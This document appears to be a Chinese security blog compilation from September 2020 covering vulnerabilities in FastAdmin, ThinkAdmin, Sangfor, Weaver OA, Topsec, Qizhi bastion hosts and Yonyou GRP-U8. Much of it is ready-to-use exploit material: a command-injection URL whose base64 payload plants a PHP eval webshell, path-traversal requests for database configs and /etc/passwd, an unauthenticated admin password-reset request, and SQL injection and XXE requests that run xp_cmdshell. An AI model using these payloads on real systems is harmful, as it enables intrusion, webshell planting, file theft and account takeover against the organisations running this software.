fastadmin(V1.0.0.20200506_beta)前台getshell(文件上传解析)漏洞分析

0x1.简介

FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。

补天平台介绍:近日,补天漏洞响应平台监测到互联网上出现Fastadmin文件上传漏洞,exp被公开。该漏洞源于网络系统或产品的代码开发过程中存在设计或实现不当的问题,可导致文件上传并解析为可执行文件。目前厂商已发布新版本修复此漏洞,补天漏洞响应平台建议受影响的客户将框架更新至安全版本。

影响版本:V1.0.0.20180911_beta~V1.0.0.20200506_beta

修复建议:

升级Fastadmin版本到V1.0.0.20200920_beta,详见官网链接:

https://www.fastadmin.net/download.html

0x2.漏洞详情

利用限制:需要开启会员中心功能,且登录会员中心。

/application/config.php 文件中:

  //是否开启前台会员中心
    'usercenter'            => true,

漏洞分析

/application/index/User.php 文件

第58-67行:

public function _empty($name)
    {    
        $data = Hook::listen("user_request_empty", $name);
            foreach ($data as $index => $datum) {
            $this->view->assign($datum);
            }
    return $this->view->fetch($name);
}

user_request_empty 为开发者预留的钩子可以忽视不看,主要看 return $this->view->fetch($name);

此方法中的 $name 参数可控,并且将 $name 的值传入到了 fecth() 函数中。

fetch() 为thinkphp的解析模板函数,其返回模板文件渲染后的内容

fetch() 函数的关键内容如下:

public function fetch($template, $data = [], $config = [])
    {
        if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
            // 获取模板文件名
            $template = $this->parseTemplate($template);
        }
        // 模板不存在 抛出异常
        if (!is_file($template)) {
            throw new TemplateNotFoundException('template not exists:' . $template, $template);
        }
        // 记录视图信息
        App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
        $this->template->fetch($template, $data, $config);
    }

继续调用栈可以看下其实这个fetch()函数调用的是内置模板引擎的fetch方法, 这个方法实际上就是将要输出的页面内容赋值给一个变量,为了方便,thinkphp在对模板渲染的过程中,添加了php标签功能,使得其可以解析php代码。

总之一句话,这个漏洞其实就是由于对传入变量过滤不严导致的模板引擎注入漏洞,只要控制了传入模板的文件,就可以利用模板本身的渲染功能,实现包含漏洞getshell

另外需要注意的是,当验证传入的模板是否是文件时,使用的 is_file() 函数,这个函数在Linux下和windows下的判断会有所不同,具体如下:

1、在linux下利用 is_file() 来判断类似于 /****/../../../../etc/passwd 文件时,如果 **** 是不存在的目录,则会返回false,在windows下 ,这个目录存在与否,均返回true,如下图所示:

is_file.png

is_file_linux.png


2、在linux下, is_file() 函数判可用于判断符号链接

3、在linux下, is_file 函数会受到权限的影响,当前用户权限不足或父目录没有设置+x权限时, is_file() 会返回false

4、windows系统里面 / 和 \ 都可以使用,但是在linux下只能使用 / 来分隔路径,因此这会导致 is_file() 在不同系统下的返回结果不一致

is_file_d.png

is_file_d2.png


5、 is_file() 判断文件时,如果文件大小超过2^32时,会判断失败

0x3.漏洞验证

通过前文可知,这个漏洞的利用点在 _empty() 函数,需要注意的是,在官方文档中通常 _empty() 方法是用来判断一个方法是否存在,如果不存在,则进入该函数。而这里是开发者自定义的方法,因此直接传入 _empty 方法,调用name参数即可。

利用过程如下:

在前台的会员中心,个人资料处,上传修改头像:

headpic.png

抓包后修改图片数据(满足图片头格式即可):

bp_head.png

记录下路径后,成功getshell

getshell.png

在Linux下,通过这种方法会失效,因为在 /public 路径下不存在 user 目录,由前文中的知识点可以知道,当不存在这个目录的时候,无论怎么跳转目录, is_file() 函数返回的结果始终未false,因此无法利用该漏洞,如下图所示:

linux.png

当我们在 /public 目录下创建文件夹 /user ,在利用,即可成功:

linux2.png

最后感谢 @joseph 师傅提供的漏洞点,又学习了一波

文章出自:https://forum.90sec.com/t/topic/1294

作者:https://forum.90sec.com/u/panda

大家可以投稿90注册啊!给你们投票!哈哈哈


Mrxn 发布于 2020-9-21 14:57

深信服VPN 修改任意账户绑定手机号

https://路径/por/changetelnum.csp?apiversion=1newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1

注意 需要登录之后才可以


Mrxn 发布于 2020-9-18 02:24

ThinkAdmin v5和v6 未授权列目录/任意文件读取(CVE-2020-25540)

首先声明:内容来自ThinkAdmin的GitHub的官方项目的issue 由 @Hzllaga 师傅提供.

0x1.漏洞简介

ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统。ThinkAdmin v6版本存在路径遍历漏洞。攻击者可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件。

0x2.影响范围

Thinkadmin ≤ 2020.08.03.01

0x3.漏洞分析复现

app/admin/controller/api/Update.php存在3个function,都是不用登录认证就可以使用的,引用列表如下:

namespace app\admin\controller\api;

use think\admin\Controller;

use think\admin\service\InstallService;

use think\admin\service\ModuleService;

version()可以获取到当前版本:2020.08.03.01,≤这个版本的都有可能存在漏洞

URL:http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/version

列目录

node():

/**
* 读取文件列表
*/
public function node()
{
    $this->success('获取文件列表成功!', InstallService::instance()->getList(
        json_decode($this->request->post('rules', '[]', ''), true),
        json_decode($this->request->post('ignore', '[]', ''), true)
    ));
}

直接把POST的rules和ignore参数传给InstallService::instance()->getList(),根据上面的use引用可以知道文件路径在vendor/zoujingli/think-library/src/service/InstallService.php:

/**
 * 获取文件信息列表
 * @param array $rules 文件规则
 * @param array $ignore 忽略规则
 * @param array $data 扫描结果列表
 * @return array
 */
public function getList(array $rules, array $ignore = [], array $data = []): array
{
    // 扫描规则文件
    foreach ($rules as $key => $rule) {
        $name = strtr(trim($rule, '\\/'), '\\', '/');
        $data = array_merge($data, $this->_scanList($this->root . $name));
    }
    // 清除忽略文件
    foreach ($data as $key => $item) foreach ($ignore as $ign) {
        if (stripos($item['name'], $ign) === 0) unset($data[$key]);
    }
    // 返回文件数据
    return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data];
}

$ignore可以不用关注,他会透过_scanList()去遍历$rules数组,调用scanDirectory()去递归遍历目录下的文件,最后在透过_getInfo()去获取文件名与哈希,由下面代码可以知道程序没有任何验证,攻击者可以在未授权的情况下读取服务器的文件列表。

/**
 * 获取目录文件列表
 * @param string $path 待扫描目录
 * @param array $data 扫描结果
 * @return array
 */
private function _scanList($path, $data = []): array
{
    foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) {
        $data[] = $this->_getInfo(strtr($file, '\\', '/'));
    }
    return $data;
}
/**
 * 获取所有PHP文件列表
 * @param string $path 扫描目录
 * @param array $data 额外数据
 * @param string $ext 文件后缀
 * @return array
 */
public function scanDirectory($path, $data = [], $ext = 'php')
{
    if (file_exists($path)) if (is_file($path)) $data[] = $path;
    elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') {
        $realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item;
        if (is_readable($realpath)) if (is_dir($realpath)) {
            $data = $this->scanDirectory($realpath, $data, $ext);
        } elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) {
            $data[] = strtr($realpath, '\\', '/');
        }
    }
    return $data;
}
/**
 * 获取指定文件信息
 * @param string $path 文件路径
 * @return array
 */
private function _getInfo($path): array
{
    return [
        'name' => str_replace($this->root, '', $path),
        'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))),
    ];
}

读取网站根目录Payload: http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/node

POST:

rules=["/"]

也可以使用../来进行目录穿越

rules=["../../../"]

演示站:

list_files.png


任意文件读取

get():

/**
 * 读取文件内容
 */
public function get()
{
    $filename = decode(input('encode', '0'));
    if (!ModuleService::instance()->checkAllowDownload($filename)) {
        $this->error('下载的文件不在认证规则中!');
    }
    if (file_exists($realname = $this->app->getRootPath() . $filename)) {
        $this->success('读取文件内容成功!', [
            'content' => base64_encode(file_get_contents($realname)),
        ]);
    } else {
        $this->error('读取文件内容失败!');
    }
}

首先从GET读取encode参数并使用decode()解码:

/**
 * 解密 UTF8 字符串
 * @param string $content
 * @return string
 */
function decode($content)
{
    $chars = '';
    foreach (str_split($content, 2) as $char) {
        $chars .= chr(intval(base_convert($char, 36, 10)));
    }
    return iconv('GBK//TRANSLIT', 'UTF-8', $chars);
}

解密UTF8字符串的,刚好上面有个加密UTF8字符串的encode(),攻击时直接调用那个就可以了:

/**
 * 加密 UTF8 字符串
 * @param string $content
 * @return string
 */
function encode($content)
{
    [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
    return $chars;
}

跟进ModuleService::instance()->checkAllowDownload(),文件路径vendor/zoujingli/think-library/src/service/ModuleService.php:

/**
 * 检查文件是否可下载
 * @param string $name 文件名称
 * @return boolean
 */
public function checkAllowDownload($name): bool
{
    // 禁止下载数据库配置文件
    if (stripos($name, 'database.php') !== false) {
        return false;
    }
    // 检查允许下载的文件规则
    foreach ($this->getAllowDownloadRule() as $rule) {
        if (stripos($name, $rule) !== false) return true;
    }
    // 不在允许下载的文件规则
    return false;
}

首先$name不能够是database.php,接着跟进getAllowDownloadRule():

/**
 * 获取允许下载的规则
 * @return array
 */
public function getAllowDownloadRule(): array
{
    $data = $this->app->cache->get('moduleAllowRule', []);
    if (is_array($data) && count($data) > 0) return $data;
    $data = ['config', 'public/static', 'public/router.php', 'public/index.php'];
    foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}";
    $this->app->cache->set('moduleAllowRule', $data, 30);
    return $data;
}

有一个允许的列表:

config

public/static

public/router.php

public/index.php

app/admin

app/wechat

也就是说$name必须要不是database.php且要在允许列表内的文件才能够被读取,先绕过安全列表的限制,比如读取根目录的1.txt,只需要传入:

public/static/../../1.txt

而database.php的限制在Linux下应该是没办法绕过的,但是在Windows下可以透过"来替换.,也就是传入:

public/static/../../config/database"php

对应encode()后的结果为:

34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34

Windows读取database.php:

read_db.png

演示站读取/etc/passwd:

read_etc_passwd.png

v5连允许列表都没有,可以直接读任意文件。

0x4.漏洞修复

临时方案:

fix.png

升级到最新版!

来源:https://github.com/zoujingli/ThinkAdmin/issues/244


Mrxn 发布于 2020-9-16 13:21

CVE-2020-1472: NetLogon特权提升漏洞(接管域控制器)

1C1ABDCA-7614-4E35-9DCB-392FE8E3D0F0.jpeg0x01 更新概览

2020年09月14日,360CERT监测发现 secura 公开了针对该漏洞研究报告及PoC,可造成 权限提升影响。本次更新标识该漏洞的利用工具公开,并可能在短时间内出现攻击态势。

具体更新详情可参考: 漏洞验证

0x02 漏洞简述

2020年08月12日, 360CERT监测发现 Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告,该漏洞编号为 CVE-2020-1472,漏洞等级:严重,漏洞评分:10分

攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。

对此,360CERT建议广大用户及时为各Windows Server操作系统安装最新相关补丁。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。

0x03 风险等级

360CERT对该漏洞的评定结果如下

评定方式 等级
威胁等级 严重
影响面 广泛
360CERT评分 10分

0x04 漏洞详情

NetLogon组件 是 Windows 上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。

当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。

漏洞验证

使用 SecuraBV/zerologon_tester.py 进行验证;可以看到在 windows server 2012 结果如下图所示

python版本: 3.8.5
域控版本: windows server 2008
测试机版本: windows server 2012

6A186A47-E390-4BEB-9190-F1C6CDE364D2.png0x05 影响版本

- Windows Server 2008 R2 for x64-based Systems Service Pack 1

- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

- Windows Server 2012

- Windows Server 2012 (Server Core installation)

- Windows Server 2012 R2

- Windows Server 2012 R2 (Server Core installation)

- Windows Server 2016

- Windows Server 2016 (Server Core installation)

- Windows Server 2019

- Windows Server 2019 (Server Core installation)

- Windows Server, version 1903 (Server Core installation)

- Windows Server, version 1909 (Server Core installation)

- Windows Server, version 2004 (Server Core installation)

相关检测和利用工具地址:

https://github.com/SecuraBV/CVE-2020-1472

https://github.com/dirkjanm/CVE-2020-1472


Mrxn 发布于 2020-9-15 04:10

HW截至目前已经确认的漏洞和预警的漏洞(0day)汇总

截至到目前已经确认的漏洞一览图:

已确认.jpg


1、绿盟UTS综合威胁探针管理员任意登录

2、用友GRP-u8 XXE注入

3、天融信TopApp-LB 负载均衡系统sql注入

4、深信服EDR远程命令执行

5、联软科技产品存在任意文件上传

6、联软科技产品存在命令执行漏洞

7、WPS命令执行漏洞

8、齐治堡垒机漏洞

9、phpcms v9前台REC(全版本),这个详情在我的GitHub,二十几天前就搜集到了。


漏洞预警,蓝队撑住,提前预警,做好预防0day冲击准备,不一定全部是真的,有这些产品的多注意,多加一道防护,比如开启basic二次验证等操作缓解预防!


预警事项:山石、绿盟、新华三、华为等多个安全产品存在漏洞

根据互联网情报,多款安全产品疑似存在零日或高危漏洞,涉及山石网科下一代防火墙、绿盟远程安全评估系统, 新华三技术有限公司H3CSecPathF10x 0防火墙、华为多款产品(交换机、入侵防御系统、防火墙等),政击者可能通过利用以上漏润造成重大安全影响。

预警时间:2020年09月12日

预警等级:八级

预警范围:

1.山石网科下一代防火墙SG-6000

2.绿盟远程安全评估系统

3.新华三技术有限公司H36SecPathF10x 0防火墙

4.华为多款设备存在越界读取漏洞(C NVD-2020-36735) :

华为无线接入点设备AP2000系列

华为交换机S5700系列

华为DDOS防御系统Seco space Anti DDoS 8000系列

华为下一代入侵防御系统NIP 5300系列、NIP 6600系列、NIP 6800系列

华为入侵防御系统(单板形态) IPS Module V 500系列


预警二.jpg


H3C、启明星辰、天融信、网御星云、深信服、网神等多个安全产品存在漏洞

预警事项:

根据互联网情报,多款安全产品疑似存在零日或高危漏洞,涉及北京启明星辰信息安全技术有限公司天清Web应用安全网关、天融信NG FW下一代防火墙、H3CACG 1000-M交换机、北京网御星云信息技术有限公司网御防火墙、深信服科技股份有限公司SSL VPN,网神信息技术(北京)股份有限公司网神安全审计系统,攻击者可能通过利用以上漏洞造成重大安全影响。

预警时间:2020年9月12日

预警等级:九级

预警范围:

1.北京启明星辰信息安全技术有限公司天清Web应用安全网关

2.天融信NGE W下一代防火墙

3.北京网御星云信息技术有限公司网御防火墙

4.深信服科技股份有限公司SSL VPN

5.网神信息技术(北京)股份有限公司 网神安全审计系统

6.H3CACG 1000-M交换机

预警.jpg

祝大家HW顺利!少丢分!哈哈哈


Mrxn 发布于 2020-9-12 12:52

泛微OA云桥任意文件读取漏洞

泛微0A的这个漏洞利用/wxjsapi/saveYZJFile接口获取filepath,返回数据包内出现了程序的绝对路径,攻击者可以通过返回内容识别程序运行路径从而下载数据库配置文件危害可见。


1、downloadUrl参数修改成需要获取文件的绝对路径,记录返回包中的id值。

6E7F6ABE-E697-42B4-80B4-1A50A615961B.jpeg


2、通过查看文件接口访问 /file/fileNoLogin/id

4B7248E9-87D1-4A45-866B-6E153145E84D.jpeg

可参考微步的情报:

weibu.png

weibu2.png



Mrxn 发布于 2020-9-12 11:58

天融信数据防泄漏系统越权修改管理员密码

EEE26ECA-6A7F-4BA2-A274-713511D57CA5.jpeg


无需登录权限,由于修改密码处未校验原密码,且/?module=auth_user&action=mod_edit_pwd

接口未授权访问,造成直接修改任意用户密码。:默认superman账户uid为1。


POST /?module=auth_user&action=mod_edit_pwd

Cookie: username=superman;


uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1


Mrxn 发布于 2020-9-11 23:55

齐治堡垒机前台远程命令执行漏洞

齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)

未授权无需登录。

B3871B35-D8B3-4095-8032-D7512B3C6FDF.jpeg

1、访问 http://10.20.10.11/listener/cluster_manage.php  :返回 "OK".

2、访问如下链接即可getshell,执行成功后,生成PHP一句话马

3、/var/www/shterm/resources/qrcode/lbj77.php  密码10086

https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}" ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}- d|bash`|${IFS}|echo${IFS}


Mrxn 发布于 2020-9-11 23:41

用友GRP-u8 注入+天融信TopApp-LB 负载均衡系统sql注入

用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。

GRP-u8.png


该系统被曝存在命令执行漏洞,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击,漏洞细节以及相关漏洞poc如下:

用友GRP-u8 XXE漏洞(XML External Entity-XML外部实体注入):


POST /Proxy HTTP/1.1

Accept: Accept: */*

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)

Host: host

Content-Length: 357

Connection: Keep-Alive

Cache-Control: no-cache

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'net user'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>


burp里面repeat即可:

GRP-u8-exec.png


天融信TopApp-LB 负载均衡系统sql注入


POST /acc/clsf/report/datasource.php HTTP/1.1

Host:

Connection: close

Accept: text/javascript, text/html, application/xml, text/xml, */*

X-Prototype-Version: 1.6.0.3

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=ijqtopbcbmu8d70o5t3kmvgt57

Content-Type: application/x-www-form-urlencoded

Content-Length: 201

t=l&e=0&s=t&l=1&vid=1+union select 1,2,3,4,5,6,7,8,9,substr('a',1,1),11,12,13,14,15,16,17,18,19,20,21,22--+&gid=0&lmt=10&o=r_Speed&asc=false&p=8&lipf=&lipt=&ripf=&ript=&dscp=&proto=&lpf=&lpt=&rpf=&[email protected]


至于前面的sangfor EDR RCE漏洞已经发过了。


Mrxn 发布于 2020-9-11 13:11
    1 2

个人资料

    blogger

    Mrxn

    一个关注网络安全,热爱黑客技术的好青年!

搜索

最新评论